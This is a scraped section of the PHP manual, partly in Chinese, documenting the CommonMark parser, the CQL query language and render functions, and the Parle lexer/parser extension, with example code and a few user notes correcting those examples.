User Contributed Notes

There are no user contributed notes for this page.


Parsing

  • ? CommonMark\Parser::__construct
  • CommonMark\Parser::finish ?
  • PHP Manual
  • CommonMark\Parser
  • Parsing

CommonMark\Parser::parse

(cmark >= 1.0.0)

CommonMark\Parser::parse — Parsing

说明

public CommonMark\Parser::parse(string $buffer): void

Warning

本函数还未编写文档，仅有参数列表。

参数

buffer

返回值

User Contributed Notes

There are no user contributed notes for this page.


Parsing

  • ? CommonMark\Parser::parse
  • CommonMark\CQL ?
  • PHP Manual
  • CommonMark\Parser
  • Parsing

CommonMark\Parser::finish

(cmark >= 1.0.0)

CommonMark\Parser::finish — Parsing

说明

public CommonMark\Parser::finish(): CommonMark\Node

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The CommonMark\CQL class

(cmark >= 1.1.0)

简介

CommonMark Query Language is a DSL for describing how to travel through a CommonMark Node tree implemented as a parser and compiler for a small set of instructions, and a virtual machine for executing those instructions.

Paths:

In it's most simplistic form, a CQL query combines the following paths and / to describe how to travel through a tree:

  • firstChild
  • lastChild
  • previous
  • next
  • parent
For example, /firstChild/lastChild would travel to the last child node of the first child node.

Loops

CQL can be instructed to loop, for example through the children of, or siblings to a particular node, by using the path children, or siblings. For example, /firstChild/children will travel to all the children of the first child node.

Subqueries

CQL can be instructed how to travel by using a subquery like [/firstChild]. For example, /firstChild/children[/firstChild] will travel to the first child node of all the children of the first child node.

Loop Constraints

While looping, CQL can be instructed to constrict the travelled path to nodes of particular type. For example /children(BlockQuote) will travel to the children of a node where the type is BlockQuote. The following types are recognized (case insensitively):

  • BlockQuote
  • List
  • Item
  • CodeBlock
  • HtmlBlock
  • CustomBlock
  • Paragraph
  • Heading
  • ThematicBreak
  • Text
  • SoftBreak
  • LineBreak
  • Code
  • HtmlInline
  • CustomInline
  • Emphasis
  • Strong
  • Link
  • Image
Types may be used as a union, for example /children(BlockQuote|List) will travel to the children of a node where the type is BlockQuote or List. Types, or unions of types, may be also negated. For example /children(~BlockQuote) will travel to the children of a node where the type is not BlockQuote, and /children(~BlockQuote|Paragraph) will travel to the children of a node where the type is not BlockQuote or Paragraph

Path Constraints

CQL can be instructed to create a loop to travel to a node of a particular type, at a particular path. For example, /firstChild(BlockQuote) will travel to the first child node where the type is BlockQuote. Note that like other loops for children and siblings, this kind of path can only be followed by a subquery.

Implementation Notes

While CQL has been implemented as part of the PHP CommonMark extension, it stands separately from PHP and does not use PHP's virtual machine or internal representation of values.

类摘要

class CommonMark\CQL {
/* Constructor */
public __construct(string $query)
/* 方法 */
public __invoke(CommonMark\Node $root, callable $handler)
}

Table of Contents

  • CommonMark\CQL::__construct — CQL Construction
  • CommonMark\CQL::__invoke — CQL Execution

User Contributed Notes

There are no user contributed notes for this page.


CQL Construction

  • ? CommonMark\CQL
  • CommonMark\CQL::__invoke ?
  • PHP Manual
  • CommonMark\CQL
  • CQL Construction

CommonMark\CQL::__construct

(cmark >= 1.1.0)

CommonMark\CQL::__construct — CQL Construction

说明

public CommonMark\CQL::__construct(string $query)

参数

query

a CQL string

User Contributed Notes

There are no user contributed notes for this page.


CQL Execution

  • ? CommonMark\CQL::__construct
  • CommonMark 函数 ?
  • PHP Manual
  • CommonMark\CQL
  • CQL Execution

CommonMark\CQL::__invoke

(cmark >= 1.1.0)

CommonMark\CQL::__invoke — CQL Execution

说明

public CommonMark\CQL::__invoke(CommonMark\Node $root, callable $handler)

Shall invoke the current CQL function on the given root, executing the given handler on entry to a CommonMark\Node

参数

root

the root node of a tree

handler

should have the prototype:

handler(CommonMark\Node $root, CommonMark\Node $entering): ?bool
  • Should handler fail to return (void), or return null, CQL will continue executing
  • Should the handler return a truthy value, CQL will continue executing.
  • Should the handler return a falsy value, CQL will stop executing

User Contributed Notes

There are no user contributed notes for this page.


CommonMark 函数

Table of Contents

  • CommonMark\Parse — Parsing
  • CommonMark\Render — Rendering
  • CommonMark\Render\HTML — Rendering
  • CommonMark\Render\Latex — Rendering
  • CommonMark\Render\Man — Rendering
  • CommonMark\Render\XML — Rendering

User Contributed Notes

There are no user contributed notes for this page.


Parsing

  • ? CommonMark 函数
  • CommonMark\Render ?
  • PHP Manual
  • CommonMark 函数
  • Parsing

CommonMark\Parse

(cmark >= 1.0.0)

CommonMark\Parse — Parsing

说明

CommonMark\Parse(string $content, int $options = ?): CommonMark\Node

Shall parse content

参数

content

markdown string

options

A mask of:

CommonMark\Parser\Normal (int)
CommonMark\Parser\Normalize (int)
CommonMark\Parser\ValidateUTF8 (int)
CommonMark\Parser\Smart (int)

返回值

Shall return root CommonMark\Node

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ? CommonMark\Parse
  • CommonMark\Render\HTML ?
  • PHP Manual
  • CommonMark 函数
  • Rendering

CommonMark\Render

(cmark >= 1.0.0)

CommonMark\Render — Rendering

说明

CommonMark\Render(CommonMark\Node $node, int $options = ?, int $width = ?): string

Warning

本函数还未编写文档，仅有参数列表。

参数

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)
width

返回值

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ? CommonMark\Render
  • CommonMark\Render\Latex ?
  • PHP Manual
  • CommonMark 函数
  • Rendering

CommonMark\Render\HTML

(cmark >= 1.0.0)

CommonMark\Render\HTML — Rendering

说明

CommonMark\Render\HTML(CommonMark\Node $node, int $options = ?): string

Warning

本函数还未编写文档，仅有参数列表。

参数

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)

返回值

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ? CommonMark\Render\HTML
  • CommonMark\Render\Man ?
  • PHP Manual
  • CommonMark 函数
  • Rendering

CommonMark\Render\Latex

(cmark >= 1.0.0)

CommonMark\Render\Latex — Rendering

说明

CommonMark\Render\Latex(CommonMark\Node $node, int $options = ?, int $width = ?): string

Warning

本函数还未编写文档，仅有参数列表。

参数

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)
width

返回值

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ? CommonMark\Render\Latex
  • CommonMark\Render\XML ?
  • PHP Manual
  • CommonMark 函数
  • Rendering

CommonMark\Render\Man

(cmark >= 1.0.0)

CommonMark\Render\Man — Rendering

说明

CommonMark\Render\Man(CommonMark\Node $node, int $options = ?, int $width = ?): string

Warning

本函数还未编写文档，仅有参数列表。

参数

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)
width

返回值

User Contributed Notes

There are no user contributed notes for this page.


Rendering

  • ? CommonMark\Render\Man
  • Parle ?
  • PHP Manual
  • CommonMark 函数
  • Rendering

CommonMark\Render\XML

(cmark >= 1.0.0)

CommonMark\Render\XML — Rendering

说明

CommonMark\Render\XML(CommonMark\Node $node, int $options = ?): string

Warning

本函数还未编写文档，仅有参数列表。

参数

node

options

A mask of:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)

返回值

User Contributed Notes

There are no user contributed notes for this page.


Parsing and lexing

  • 简介
  • 安装/配置
    • 需求
    • 安装
  • 预定义常量
  • Pattern matching — Parle pattern matching
    • Character representations
    • Character classes
    • Unicode character classes
    • Alternation and repetition
    • Anchors
    • Grouping
  • 示例
    • Lexer examples
    • Parser examples
  • Parle\Lexer — The Parle\Lexer class
    • Parle\Lexer::advance — Process next lexer rule
    • Parle\Lexer::build — Finalize the lexer rule set
    • Parle\Lexer::callout — Define token callback
    • Parle\Lexer::consume — Pass the data for processing
    • Parle\Lexer::dump — Dump the state machine
    • Parle\Lexer::getToken — Retrieve the current token
    • Parle\Lexer::insertMacro — Insert regex macro
    • Parle\Lexer::push — Add a lexer rule
    • Parle\Lexer::reset — Reset lexer
  • Parle\RLexer — The Parle\RLexer class
    • Parle\RLexer::advance — Process next lexer rule
    • Parle\RLexer::build — Finalize the lexer rule set
    • Parle\RLexer::callout — Define token callback
    • Parle\RLexer::consume — Pass the data for processing
    • Parle\RLexer::dump — Dump the state machine
    • Parle\RLexer::getToken — Retrieve the current token
    • Parle\RLexer::insertMacro — Insert regex macro
    • Parle\RLexer::push — Add a lexer rule
    • Parle\RLexer::pushState — Push a new start state
    • Parle\RLexer::reset — Reset lexer
  • Parle\Parser — The Parle\Parser class
    • Parle\Parser::advance — Process next parser rule
    • Parle\Parser::build — Finalize the grammar rules
    • Parle\Parser::consume — Consume the data for processing
    • Parle\Parser::dump — Dump the grammar
    • Parle\Parser::errorInfo — Retrieve the error information
    • Parle\Parser::left — Declare a token with left-associativity
    • Parle\Parser::nonassoc — Declare a token with no associativity
    • Parle\Parser::precedence — Declare a precedence rule
    • Parle\Parser::push — Add a grammar rule
    • Parle\Parser::reset — Reset parser state
    • Parle\Parser::right — Declare a token with right-associativity
    • Parle\Parser::sigil — Retrieve a matching part of a rule
    • Parle\Parser::sigilCount — Number of elements in matched rule
    • Parle\Parser::sigilName — Retrieve a rule or token name
    • Parle\Parser::token — Declare a token
    • Parle\Parser::tokenId — Get token id
    • Parle\Parser::trace — Trace the parser operation
    • Parle\Parser::validate — Validate input
  • Parle\RParser — The Parle\RParser class
    • Parle\RParser::advance — Process next parser rule
    • Parle\RParser::build — Finalize the grammar rules
    • Parle\RParser::consume — Consume the data for processing
    • Parle\RParser::dump — Dump the grammar
    • Parle\RParser::errorInfo — Retrieve the error information
    • Parle\RParser::left — Declare a token with left-associativity
    • Parle\RParser::nonassoc — Declare a token with no associativity
    • Parle\RParser::precedence — Declare a precedence rule
    • Parle\RParser::push — Add a grammar rule
    • Parle\RParser::reset — Reset parser state
    • Parle\RParser::right — Declare a token with right-associativity
    • Parle\RParser::sigil — Retrieve a matching part of a rule
    • Parle\RParser::sigilCount — Number of elements in matched rule
    • Parle\RParser::sigilName — Retrieve a rule or token name
    • Parle\RParser::token — Declare a token
    • Parle\RParser::tokenId — Get token id
    • Parle\RParser::trace — Trace the parser operation
    • Parle\RParser::validate — Validate input
  • Parle\Stack — The Parle\Stack class
    • Parle\Stack::pop — Pop an item from the stack
    • Parle\Stack::push — Push an item into the stack
  • Parle\Token — The Parle\Token class
  • Parle\ErrorInfo — The Parle\ErrorInfo class
  • Parle\LexerException — The Parle\LexerException class
  • Parle\ParserException — The Parle\ParserException class

User Contributed Notes

There are no user contributed notes for this page.


简介

The parle extension provides general purpose lexing and parsing facilities. The implementation is based on » Ben Hanson's libraries and requires a » C++14 capable compiler. The lexer is based on the regex matching, the parser is LALR(1). Lexers and parsers are generated on the fly and can be used immediately after they've been finalized. Parle deals with parsing and lexing, the appropriate data structures representation and processing are the implementer's task. Serialization and code generation are not supported by the extension, yet.

Lexer analysis is a process of splitting a character sequence into a list of lexemes. The lexeme list can be then used for the syntax analysis against a formal grammar. These operations are also known as lexing and parsing. This documentation doesn't aim to provide an exhaustive information on lexing and parsing. Good information in this regard is available on the numerous resources on the net. Several usage examples are included, to show the functionality. The extension is useful for PHP programmers both willing to learn or to utilize parsing and lexing. State machines and grammar parsing don't have to be implemented manually, these complex tasks are taken away by parle. Thanks to that, the development can be focused on the actual problem solving.

The common use case for parle is, when a data format is too complex to be handled by the regex matching with PCRE. The practical application is herewith wide. Be it a specific data format, a behavior modification of existing functions, even an own programming language and beyond. The helper methods such as Parle\Lexer::dump() to inspect the generated state machine, or Parle\Parser::dump() to inspect the generated grammar, are useful. The method Parle\Parser::trace() can also be used to track the parsing operation.

User Contributed Notes

There are no user contributed notes for this page.


需求

PHP 7.4 or above is supported. A C++14 capable compiler is required. A successful extension build was produced with at least clang 5.0, GCC 5.0 and Visual Studio 2015.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/parle.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/parle/.

Available configure options
Option | Description
--enable-parle | Enable parle extension.
--enable-parle-utf32 | Enable internal UTF-32 support. Available since parle 0.7.2.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Parle\INTERNAL_UTF32 bool
Flag whether the internal UTF-32 support is compiled in. Available since parle 0.7.2.

User Contributed Notes

There are no user contributed notes for this page.


Parle pattern matching

Table of Contents

  • Character representations
  • Character classes
  • Unicode character classes
  • Alternation and repetition
  • Anchors
  • Grouping

Parle supports regex matching similar to flex. Also supported are the following POSIX character sets: [:alnum:], [:alpha:], [:blank:], [:cntrl:], [:digit:], [:graph:], [:lower:], [:print:], [:punct:], [:space:], [:upper:] and [:xdigit:].

The Unicode character classes are currently not enabled by default, pass --enable-parle-utf32 to make them available. A particular encoding can be mapped with a correctly constructed regex. For example, to match the EURO symbol encoded in UTF-8, the regular expression [\xe2][\x82][\xac] can be used. The pattern for an UTF-8 encoded string could be [ -\x7f]{+}[\x80-\xbf]{+}[\xc2-\xdf]{+}[\xe0-\xef]{+}[\xf0-\xff]+.

User Contributed Notes

There are no user contributed notes for this page.


Character representations

Character representations
Sequence | Description
\a | Alert (bell).
\b | Backspace.
\e | ESC character, \x1b.
\n | Newline.
\r | Carriage return.
\f | Form feed, \x0c.
\t | Horizontal tab, \x09.
\v | Vertical tab, \x0b.
\oct | Character specified by a three-digit octal code.
\xhex | Character specified by a hex code.
\cchar | Named control character.

User Contributed Notes

There are no user contributed notes for this page.


Character classes

Character classes
Sequence | Description
[...] | A single character listed or contained within a listed range. Ranges can be combined with the {+} and {-} operators. For example [a-z]{+}[0-9] is the same as [0-9a-z] and [a-z]{-}[aeiou] is the same as [b-df-hj-np-tv-z].
[^...] | A single character not listed and not contained within a listed range.
. | Any character, default [^\n].
\d | Digit character, [0-9].
\D | Non-digit character, [^0-9].
\s | White space character, [ \t\n\r\f\v].
\S | Non-white space character, [^ \t\n\r\f\v].
\w | Word character, [a-zA-Z0-9_].
\W | Non-word character, [^a-zA-Z0-9_].

User Contributed Notes

There are no user contributed notes for this page.


Unicode character classes

Unicode character classes
Sequence | Description
\p{C} | Other.
\p{Cc} | Other, control.
\p{Cf} | Other, format.
\p{Co} | Other, private use.
\p{Cs} | Other, surrogate.
\p{L} | Letter.
\p{LC} | Letter, cased.
\p{Ll} | Letter, lowercase.
\p{Lm} | Letter, modifier.
\p{Lo} | Letter, other.
\p{Lt} | Letter, titlecase.
\p{Lu} | Letter, uppercase.
\p{M} | Mark.
\p{Mc} | Mark, space combining.
\p{Me} | Mark, enclosing.
\p{Mn} | Mark, nonspacing.
\p{N} | Number.
\p{Nd} | Number, decimal digit.
\p{Nl} | Number, letter.
\p{No} | Number, other.
\p{P} | Punctuation.
\p{Pc} | Punctiation, connector.
\p{Pd} | Punctuation, dash.
\p{Pe} | Punctuation, close.
\p{Pf} | Punctuation, final quote.
\p{Pi} | Punctuation, initial quote.
\p{Po} | Punctuation, other.
\p{Ps} | Punctuation, open.
\p{S} | Symbol.
\p{Sc} | Symbol, currency.
\p{Sk} | Symbol, modifier.
\p{Sm} | Symbol, math.
\p{So} | Symbol, other.
\p{Z} | Separator.
\p{Zl} | Separator, line.
\p{Zp} | Separator, paragraph.
\p{Zs} | Separator, space.

These character clasess are only available, if the option --enable-parle-utf32 was passed at the compilation time.

User Contributed Notes

There are no user contributed notes for this page.


Alternation and repetition

Alternation and repetition
Sequence | Greedy | Description
...|... | - | Try subpatterns in alternation.
* | yes | Match 0 or more times.
+ | yes | Match 1 or more times.
? | yes | Match 0 or 1 times.
{n} | no | Match exactly n times.
{n,} | yes | Match at least n times.
{n,m} | yes | Match at least n times but no more than m times.
*? | no | Match 0 or more times.
+? | no | Match 1 or more times.
?? | no | Match 0 or 1 times.
{n,}? | no | Match at least n times.
{n,m}? | no | Match at least n times but no more than m times.
{MACRO} | - | Include the regex MACRO in the current regex.

User Contributed Notes

There are no user contributed notes for this page.


Anchors

Anchors
Sequence | Description
^ | Start of string or after a newline.
$ | End of string or before a newline.

User Contributed Notes

There are no user contributed notes for this page.


Grouping

Grouping
Sequence | Description
(...) Group a regular expression to override default operator precedence.
(?r-s:pattern) Apply option r and omit option s while interpreting pattern. Options may be zero or more of the characters i, s, or x.
Options
Option | Description
i | Case insensitive.
-i | Case sensitive.
s | Alters the meaning of '.' to match any character whatsoever.
-s | Alters the meaning of '.' to match any character except '\n'.
x | Ignores comments and whitespace in patterns. Whitespace is ignored unless it is backslash-escaped, contained within ""s, or appears inside a character range.
These options can be applied globally at the rules level by passing a combination of the bit flags to the lexer.
(?# comment ) | Omit everything within (). The first ) character encountered ends the pattern. It is not possible for the comment to contain a ) character. The comment may span lines.

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Lexer examples
  • Parser examples

User Contributed Notes

There are no user contributed notes for this page.


Lexer examples

Example #1 Tokenize comma separated integer list

<?php

use Parle\Token;
use Parle\Lexer;
use Parle\LexerException;

/* name => id */
$token = array(
"COMMA" => 1,
"CRLF" => 2,
"DECIMAL" => 3,
);
/* id => name */
$tokenIdToName = array_flip($token);

$lex = new Lexer;
$lex->push("[\x2c]", $token["COMMA"]);
$lex->push("[\r][\n]", $token["CRLF"]);
$lex->push("[\d]+", $token["DECIMAL"]);
$lex->build();

$in = "0,1,2\r\n3,42,5\r\n6,77,8\r\n";

$lex->consume($in);

do {
$lex->advance();
$tok = $lex->getToken();

if (Token::UNKNOWN == $tok->id) {
throw new LexerException("Unknown token '{$tok->value}' at offset {$lex->marker}.");
}

echo "TOKEN: ", $tokenIdToName[$tok->id], PHP_EOL;
} while (Token::EOI != $tok->id);

Example #2 Tokenize assign statement

<?php

use Parle\{Token, Lexer};

$lex = new Lexer;

$lex->push("\$[a-zA-Z_][a-zA-Z0-9_]*", 1);
$lex->push("=", 2);
$lex->push("\d+", 3);
$lex->push(";", 4);

$lex->build();

$lex->consume('$x = 42; $y = 24;');

do {
$lex->advance();
$tok = $lex->getToken();
var_dump($tok);
} while (Token::EOI != $tok->id);

User Contributed Notes

There are no user contributed notes for this page.


Parser examples

Example #1 Simple calculator

<?php

use Parle\{Parser, ParserException, Lexer, Token};

$p = new Parser;
$p->token("INTEGER");
$p->left("'+' '-' '*' '/'");

$p->push("start", "exp");
$prod_add = $p->push("exp", "exp '+' exp");
$prod_sub = $p->push("exp", "exp '-' exp");
$prod_mul = $p->push("exp", "exp '*' exp");
$prod_div = $p->push("exp", "exp '/' exp");
$p->push("exp", "INTEGER"); /* Production index unused. */

$p->build();

$lex = new Lexer;
$lex->push("[+]", $p->tokenId("'+'"));
$lex->push("[-]", $p->tokenId("'-'"));
$lex->push("[*]", $p->tokenId("'*'"));
$lex->push("[/]", $p->tokenId("'/'"));
$lex->push("\\d+", $p->tokenId("INTEGER"));
$lex->push("\\s+", Token::SKIP);

$lex->build();

$exp = array(
"1 + 1",
"33 / 10",
"100 * 45",
"17 - 45",
);

foreach ($exp as $in) {
if (!$p->validate($in, $lex)) {
throw new ParserException("Failed to validate input");
}

$p->consume($in, $lex);

while (Parser::ACTION_ERROR != $p->action && Parser::ACTION_ACCEPT != $p->action) {
switch ($p->action) {
case Parser::ACTION_ERROR:
throw new ParserException("Parser error");
break;
case Parser::ACTION_SHIFT:
case Parser::ACTION_GOTO:
case Parser::ACTION_ACCEPT:
break;
case Parser::ACTION_REDUCE:
switch ($p->reduceId) {
case $prod_add:
$l = $p->sigil(0);
$r = $p->sigil(2);
echo "$l + $r = " . ($l + $r) . "\n";
break;
case $prod_sub:
$l = $p->sigil(0);
$r = $p->sigil(2);
echo "$l - $r = " . ($l - $r) . "\n";
break;
case $prod_mul:
$l = $p->sigil(0);
$r = $p->sigil(2);
echo "$l * $r = " . ($l * $r) . "\n";
break;
case $prod_div:
$l = $p->sigil(0);
$r = $p->sigil(2);
echo "$l / $r = " . ($l / $r) . "\n";
break;
}
break;
}
$p->advance();
}
}

Example #2 Parse words out from a sentence

<?php

use Parle\{Lexer, Token, Parser, ParserException};

$p = new Parser;
$p->token("WORD");
$p->push("START", "SENTENCE");
$p->push("SENTENCE", "WORDS");
$prod_word_0 = $p->push("WORDS", "WORDS WORD");
$prod_word_1 = $p->push("WORDS", "WORD");
$p->build();

$lex = new Lexer;
$lex->push("[^\s]{-}[\.,\:\;\?]+", $p->tokenId("WORD"));
$lex->push("[\s\.,\:\;\?]+", Token::SKIP);
$lex->build();

$in = "Dis-moi où est ton papa?";
$p->consume($in, $lex);
do {
switch ($p->action) {
case Parser::ACTION_ERROR:
throw new ParserException("Error");
break;
case Parser::ACTION_SHIFT:
case Parser::ACTION_GOTO:
/* var_dump($p->trace());*/
break;
case Parser::ACTION_REDUCE:
$rid = $p->reduceId();
if ($rid == $prod_word_1) {
var_dump($p->sigil(0));
} if ($rid == $prod_word_0) {
var_dump($p->sigil(1));
}
break;
}
$p->advance();
} while (Parser::ACTION_ACCEPT != $p->action);

User Contributed Notes

Anonymous 07-May-2023 08:13
For example 1:

$p->left("'+' '-' '*' '/'");

should be

$p->left("'+' '-'");
$p->left("'*' '/'");

in order for operator precedence to be respected.
andres1gb at gmail dot com 27-Apr-2020 03:45
The second example (word count) calls a method reduceId(), instead of retrieving the value of the reduceId property.


The Parle\Lexer class

(PECL parle >= 0.5.1)

简介

Single state lexer class. Lexemes can be defined on the fly. If the particular lexer instance is meant to be used with Parle\Parser, the token IDs need to be taken from there. Otherwise, arbitrary token IDs can be supplied. This lexer can give a certain performance advantage over Parle\RLexer, if no multiple states are required. Note, that Parle\RParser is not compatible with this lexer.

类摘要

class Parle\Lexer {
/* 常量 */
const int ICASE = 1;
const int DOT_NOT_LF = 2;
const int DOT_NOT_CRLF = 4;
const int SKIP_WS = 8;
const int MATCH_ZERO_LEN = 16;
/* 属性 */
public bool $bol = false;
public int $flags = 0;
public int $state = 0;
public int $marker = 0;
public int $cursor = 0;
/* 方法 */
public advance(): void
public build(): void
public callout(int $id, callable $callback): void
public consume(string $data): void
public dump(): void
public getToken(): Parle\Token
public insertMacro(string $name, string $regex): void
public push(string $regex, int $id): void
public reset(int $pos): void
}

预定义常量

Parle\Lexer::ICASE

Parle\Lexer::DOT_NOT_LF

Parle\Lexer::DOT_NOT_CRLF

Parle\Lexer::SKIP_WS

Parle\Lexer::MATCH_ZERO_LEN

属性

bol

Start of input flag.

flags

Lexer flags.

state

Current lexer state, readonly.

marker

Position of the latest token match, readonly.

cursor

Current input offset, readonly.

Table of Contents

  • Parle\Lexer::advance — Process next lexer rule
  • Parle\Lexer::build — Finalize the lexer rule set
  • Parle\Lexer::callout — Define token callback
  • Parle\Lexer::consume — Pass the data for processing
  • Parle\Lexer::dump — Dump the state machine
  • Parle\Lexer::getToken — Retrieve the current token
  • Parle\Lexer::insertMacro — Insert regex macro
  • Parle\Lexer::push — Add a lexer rule
  • Parle\Lexer::reset — Reset lexer

User Contributed Notes

There are no user contributed notes for this page.


Process next lexer rule

  • ? Parle\Lexer
  • Parle\Lexer::build ?
  • PHP Manual
  • Parle\Lexer
  • Process next lexer rule

Parle\Lexer::advance

(PECL parle >= 0.5.1)

Parle\Lexer::advance — Process next lexer rule

说明

public Parle\Lexer::advance(): void

Processes the next rule and prepares the resulting token data.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Finalize the lexer rule set

  • ? Parle\Lexer::advance
  • Parle\Lexer::callout ?
  • PHP Manual
  • Parle\Lexer
  • Finalize the lexer rule set

Parle\Lexer::build

(PECL parle >= 0.5.1)

Parle\Lexer::build — Finalize the lexer rule set

说明

public Parle\Lexer::build(): void

Rules, previously added with Parle\Lexer::push() are finalized. This method call has to be done after all the necessary rules was pushed. The rule set becomes read only. The lexing can begin.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Define token callback

  • ? Parle\Lexer::build
  • Parle\Lexer::consume ?
  • PHP Manual
  • Parle\Lexer
  • Define token callback

Parle\Lexer::callout

(PECL parle >= 0.7.2)

Parle\Lexer::callout — Define token callback

说明

public Parle\Lexer::callout(int $id, callable $callback): void

Define a callback to be invoked once lexer encounters a particular token.

参数

id

Token id.

callback

Callable to be invoked. The callable doesn't receive any arguments and its return value is ignored.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Pass the data for processing

  • ? Parle\Lexer::callout
  • Parle\Lexer::dump ?
  • PHP Manual
  • Parle\Lexer
  • Pass the data for processing

Parle\Lexer::consume

(PECL parle >= 0.5.1)

Parle\Lexer::consume — Pass the data for processing

说明

public Parle\Lexer::consume(string $data): void

Consume the data for lexing.

参数

data

Data to be lexed.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Dump the state machine

  • ? Parle\Lexer::consume
  • Parle\Lexer::getToken ?
  • PHP Manual
  • Parle\Lexer
  • Dump the state machine

Parle\Lexer::dump

(PECL parle >= 0.5.1)

Parle\Lexer::dump — Dump the state machine

说明

public Parle\Lexer::dump(): void

Dump the current state machine to stdout.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the current token

  • ? Parle\Lexer::dump
  • Parle\Lexer::insertMacro ?
  • PHP Manual
  • Parle\Lexer
  • Retrieve the current token

Parle\Lexer::getToken

(PECL parle >= 0.5.1)

Parle\Lexer::getToken — Retrieve the current token

说明

public Parle\Lexer::getToken(): Parle\Token

Retrieve the current token.

参数

此函数没有参数。

返回值

Returns an instance of Parle\Token.

User Contributed Notes

There are no user contributed notes for this page.


Insert regex macro

  • ? Parle\Lexer::getToken
  • Parle\Lexer::push ?
  • PHP Manual
  • Parle\Lexer
  • Insert regex macro

Parle\Lexer::insertMacro

(PECL parle >= 0.5.1)

Parle\Lexer::insertMacro — Insert regex macro

说明

public Parle\Lexer::insertMacro(string $name, string $regex): void

Insert a regex macro, that can be later used as a shortcut and included in other regular expressions.

参数

name

Name of the macros.

regex

Regular expression.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Add a lexer rule

  • ? Parle\Lexer::insertMacro
  • Parle\Lexer::reset ?
  • PHP Manual
  • Parle\Lexer
  • Add a lexer rule

Parle\Lexer::push

(PECL parle >= 0.5.1)

Parle\Lexer::push — Add a lexer rule

说明

public Parle\Lexer::push(string $regex, int $id): void

Push a pattern for lexeme recognition.

参数

regex

Regular expression used for token matching.

id

Token id. If the lexer instance is meant to be used standalone, this can be an arbitrary number. If the lexer instance is going to be passed to the parser, it has to be an id returned by Parle\Parser::tokenid().

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Reset lexer

  • ? Parle\Lexer::push
  • Parle\RLexer ?
  • PHP Manual
  • Parle\Lexer
  • Reset lexer

Parle\Lexer::reset

(PECL parle >= 0.7.1)

Parle\Lexer::reset — Reset lexer

说明

public Parle\Lexer::reset(int $pos): void

Reset lexing optionally supplying the desired offset.

参数

pos

Reset position.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The Parle\RLexer class

(PECL parle >= 0.5.1)

简介

Multistate lexer class. Lexemes can be defined on the fly. If the particular lexer instance is meant to be used with Parle\RParser, the token IDs need to be taken from there. Otherwise, arbitrary token IDs can be supplied. Note, that Parle\Parser is not compatible with this lexer.

类摘要

class Parle\RLexer {
/* 常量 */
const int ICASE = 1;
const int DOT_NOT_LF = 2;
const int DOT_NOT_CRLF = 4;
const int SKIP_WS = 8;
const int MATCH_ZERO_LEN = 16;
/* 属性 */
public bool $bol = false;
public int $flags = 0;
public int $state = 0;
public int $marker = 0;
public int $cursor = 0;
/* 方法 */
public advance(): void
public build(): void
public callout(int $id, callable $callback): void
public consume(string $data): void
public dump(): void
public getToken(): Parle\Token
public insertMacro(string $name, string $regex): void
public push(string $regex, int $id): void
public push(
string $state,
string $regex,
int $id,
string $newState
): void
public push(string $state, string $regex, string $newState): void
public pushState(string $state): int
public reset(int $pos): void
}

预定义常量

Parle\RLexer::ICASE

Parle\RLexer::DOT_NOT_LF

Parle\RLexer::DOT_NOT_CRLF

Parle\RLexer::SKIP_WS

Parle\RLexer::MATCH_ZERO_LEN

属性

bol

Start of input flag.

flags

Lexer flags.

state

Current lexer state, readonly.

marker

Position of the latest token match, readonly.

cursor

Current input offset, readonly.

Table of Contents

  • Parle\RLexer::advance — Process next lexer rule
  • Parle\RLexer::build — Finalize the lexer rule set
  • Parle\RLexer::callout — Define token callback
  • Parle\RLexer::consume — Pass the data for processing
  • Parle\RLexer::dump — Dump the state machine
  • Parle\RLexer::getToken — Retrieve the current token
  • Parle\RLexer::insertMacro — Insert regex macro
  • Parle\RLexer::push — Add a lexer rule
  • Parle\RLexer::pushState — Push a new start state
  • Parle\RLexer::reset — Reset lexer

User Contributed Notes

There are no user contributed notes for this page.


Process next lexer rule

  • ? Parle\RLexer
  • Parle\RLexer::build ?
  • PHP Manual
  • Parle\RLexer
  • Process next lexer rule

Parle\RLexer::advance

(PECL parle >= 0.5.1)

Parle\RLexer::advance — Process next lexer rule

说明

public Parle\RLexer::advance(): void

Processes the next rule and prepares the resulting token data.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


